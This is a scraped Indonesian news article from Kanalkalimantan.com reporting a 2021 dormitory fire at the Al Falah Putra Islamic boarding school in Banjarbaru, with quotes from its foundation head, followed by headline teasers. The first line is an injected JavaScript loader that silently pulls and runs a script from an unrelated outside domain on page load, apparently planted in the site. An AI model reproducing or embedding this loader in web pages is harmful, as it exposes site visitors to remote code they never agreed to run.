(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kebakaran besar yang terjadi di Pondok Pesantren (Ponpes) Al Falah Putra, di Jalan A Yani KM 23,500 Kecamatan Landasan Ulin, Banjarbaru, Kamis (15/7/2021) menyisakan banyak banyak kisah.
Ustadz Nur Syahid Ramli, Ketua Pengurus Yayasan Pondok Pesantren Al Falah kepada Kanalkalimantan.com menyampaikan, saat terjadi kebakaran semua orang di pesantren sedang sholat di musholla.
Baca juga: Kali Kedua Kebakaran Besar di Ponpes Al Falah Banjarbaru, Sebelumnya Terjadi Tahun 2018
“Kejadian kebakaran di pondok pesantren Al Falah Putra pukul 05.20 Wita, kami semua sedang berada di musholla. Saya selaku imam musholla pada saat itu, anak-anak kami ada kurang lebih 900 sampai 1000 orang mereka semuanya berada di musholla,” tutur ustdaz Nur Syahid Ramli.
Meski api cukup besar, namun tak ada korban dalam kejadian itu.
Ia mengatakan, kebakaran terjadi dikarenakan tidak adanya yang melihat terjadinya korsleting listrik.
“Ada kabel listrik yang menyala terus api itu cepat sekali menjalar ke plafon karena plafon di lantai dua terbuat dari kayu jadi cepat sekali,” terangnya.
Baca juga: Para Santri Bersihkan Puing Sisa Kebakaran Ponpes Al Falah Putra
“Setelah saya selesai sholat salam dan sudah selesai berzikir, berdoa baru ada yang berteriak ustadz ada api. Kami langsung bubar kami lihat api sudah membesar,” terangnya.
Diketahui api bermula dari barak asrama lantai dua, bangunan kurang lebih 90M x 10M ini terjadi karena tidak adanya santri yang mengetahui ada korsleting listrik.
“Andai mereka ada di asrama mereka tahu ooo… ini ada api ini akan menyala api kemungkinan mereka bisa coba memadamkan. Tapi karena mereka tidak tahu akhirnya api sudah menyala besar,” jelasnya.
Walau demikian, ustadz Ramli masih bersyukur karena api tak menjalar lebar.
“Alhamdulillah api ini tidak terlalu menjalar ke mana-mana hanya barak itu saja. Dan sampingnya ada 2 bangunan 1 lantai saja, 2 bangunan ada 1 lantai 12 meter kali 8 meter yang terbakar ada 2. Selain barak asrama yang panjangnya 90 meter tadi,” jelasnya.(kanalkalimantan.com/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
This website uses cookies.